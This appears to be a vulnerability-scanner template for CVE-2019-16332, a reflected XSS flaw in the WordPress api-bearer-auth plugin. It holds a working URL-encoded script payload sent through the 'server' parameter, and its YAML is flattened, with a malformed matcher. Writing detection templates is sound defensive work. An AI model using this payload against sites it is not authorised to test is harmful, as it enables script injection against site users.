id: CVE-2019-16332
info:
name: API Bearer Auth <= 20181229 - Reflected Cross-Site Scripting (XSS)
author: daffainfo
severity: medium
description: In the api-bearer-auth plugin before 20190907 for WordPress, the server parameter is not correctly filtered in the swagger-config.yaml.php file, and it is possible to inject JavaScript code, aka XSS.
reference:
- https://plugins.trac.wordpress.org/changeset/2152730
- https://wordpress.org/plugins/api-bearer-auth/#developers
tags: cve,cve2019,wordpress,xss,wp-plugin,auth
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.10
cve-id: CVE-2019-16332
cwe-id: CWE-79
requests:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- "</script><script>alert(document.domain)</script>"
part: body
part: header
- text/html
- type: status
status:
- 200